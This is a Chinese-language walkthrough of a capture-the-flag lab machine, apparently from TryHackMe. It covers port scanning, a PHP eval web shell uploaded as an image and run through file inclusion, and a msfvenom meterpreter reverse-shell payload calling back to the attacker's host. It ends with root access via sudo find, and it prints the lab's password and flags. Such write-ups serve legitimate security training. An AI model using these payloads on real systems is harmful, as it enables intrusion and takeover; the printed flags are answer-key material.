信息收集

  • 由于将 Kali 与 靶机在 VM 上使用桥接连接(VM 一改网卡直接报错退出),这里靶机没有密码可以直接登录,直接看 IP 就不扫了。
  • 首先查看靶机 IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/opt/antsword]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.104 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::20c:29ff:fef8:7def prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:f8:7d:ef txqueuelen 1000 (Ethernet)
RX packets 21771 bytes 6035507 (5.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 21960 bytes 3882174 (3.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 扫描开放端口:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.0.104
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-28 09:56 EST
Nmap scan report for 192.168.0.104
Host is up (0.0013s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3

Nmap done: 1 IP address (1 host up) scanned in 140.03 seconds
  • 扫描端口对应服务:
1
2
3
4
5
6
7
8
9
10
11
12
13
──(root㉿kali)-[~]
└─# nmap -p 25,80,110 -sV 192.168.0.104
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-28 09:59 EST
Nmap scan report for 192.168.0.104
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
25/tcp open tcpwrapped
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
110/tcp open tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.59 seconds
  • 扫描出 80 端口的 Web 服务,其他端口没啥收获,访问一下 Web 服务:

image-20231111103948114

文件上传

  • 就俩端口,其中一个看着是文件上传,试一试。
  • 写个木马:
1
<?php @eval($_REQUEST[cmd]);
  • 但是上传失败了。

image-20231111104202853

  • 经过尝试,只能上传图片格式结尾的文件,那就换个地方试试。

文件包含

  • language按钮,好像也没啥东西:

image-20231111104207068

  • 经过简单尝试,发现再次点击时,会出现参数提交,加上 title 给的提示,应该存在文件包含:

image-20231111104211493

  • 看提示,应该不存在远程文件包含,这里就不尝试了,直接看看包含密码文件:

image-20231111104215324

  • 包含一下 id_rsa 文件:

image-20231111104220267

  • 没东东,回想一下刚刚的文件上传,这里有文件包含,全了,利用一下,猜测路径为/var/www/html/upload/:

image-20231111104224520

image-20231111104228410

  • 木马上传成功~

MSF 上马

  • 这里不使用 AntSword 了,使用 MSF 上马,命令如下:
1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -o msf.jpg
  • 开启监听:
1
2
3
4
5
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.0.105
set LPORT 4444
run

image-20231111104235654

  • 成功上线:

image-20231111104239951

find 提权

  • 升级一下 Shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20231111104245437

  • 查看一下可登录用户:
1
2
3
4
www-data@bassam-aziz:/var/www/html$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
bassam:x:1000:1000:Bassam,,,:/home/bassam:/bin/bash
  • 去 bassam 家目录看看:

image-20231111104249330

  • 发现一个 user.txt 但是没权限看。
  • 查看一下用户相关文件:

image-20231111104254050

  • 发现一个 txt,查看一下:
1
Password123!@#
  • 感觉像 bassam 的密码,登录一下:
1
su bassam
  • 切换成功!sudo -l 查看一下
1
2
3
4
5
6
7
8
9
10
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#

Matching Defaults entries for bassam on bassam-aziz:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bassam may run the following commands on bassam-aziz:
(ALL : ALL) /usr/bin/find
  • 发现了 find 有,root 执行权限,提权命令如下:
1
sudo -u root /usr/bin/find . -exec /bin/bash \;
  • 提权成功~:
1
2
3
4
5
bassam@bassam-aziz:~$ sudo -u root /usr/bin/find . -exec /bin/bash \;
sudo -u root /usr/bin/find . -exec /bin/bash \;
root@bassam-aziz:~# id
id
uid=0(root) gid=0(root) groups=0(root)
  • 查看一下之前的 user.txt 文件:
1
THM{Bassam-Is-Better_Than-KIRA}
  • 在查看一下 root 目录:
1
2
3
4
5
6
7
8
root@bassam-aziz:~# cd /root
cd /root
root@bassam-aziz:/root# ls
ls
flag.txt
root@bassam-aziz:/root# cat flag.txt
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}